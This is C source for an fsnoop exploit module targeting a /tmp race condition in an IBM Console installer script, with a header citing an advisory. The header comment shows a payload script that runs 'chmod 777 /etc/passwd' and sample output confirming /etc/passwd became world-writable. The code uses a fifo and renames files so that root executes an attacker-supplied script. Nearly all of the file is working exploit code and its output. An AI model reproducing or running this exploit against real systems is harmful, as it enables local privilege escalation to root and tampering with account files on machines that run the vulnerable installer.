/*
fsnoop v3.3 module for exploitation of: 
http://www.vapidlabs.com/advisory.php?v=156
special thanks to v14dz for getting this working, and Mudge @dotmudge for pointing me
at his /tmp race condition tool l0pht-watch.

@v14dz
http://vladz.devzero.fr/

$ make ibm-console.so

/tmp/x is :

#!/bin/sh
chmod 777 /etc/passwd

$ ./fsnoop -p ibm-consoleinst.so 
[+] ./ibm-consoleinst.so: ** IBM Console Install Exploit **
[+] ./ibm-consoleinst.so: payload=[0xb77775fb] file=[/tmp/consoleinst-HEREPID.sh]
[+] ./ibm-consoleinst.so: waiting for command: "/bin/sh ./consoleinst.sh"
[+] ./ibm-consoleinst.so: Exploitation done.
[+] ./ibm-consoleinst.so: Unloading module.

ls -l /etc/passwd
-rwxrwxrwx 1 root root 1901 Nov 22  2014 /etc/passwd

*/



#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

char title[] = "** IBM Console Install Exploit **";

/* filters */
char proc_name[] = "/bin/sh ./consoleinst.sh";
char file[]      = "/tmp/consoleinst-HEREPID.sh";

/* Evil routines */
void payload() { 
  int fd;
/*from v14dz: I use a fifo here, to unlock the paymod execution right after the cp command*/
  mkfifo(file, 0666);
  fd = open(file, O_RDONLY);
  rename(file, "/tmp/a");
  rename("/tmp/x", file);
}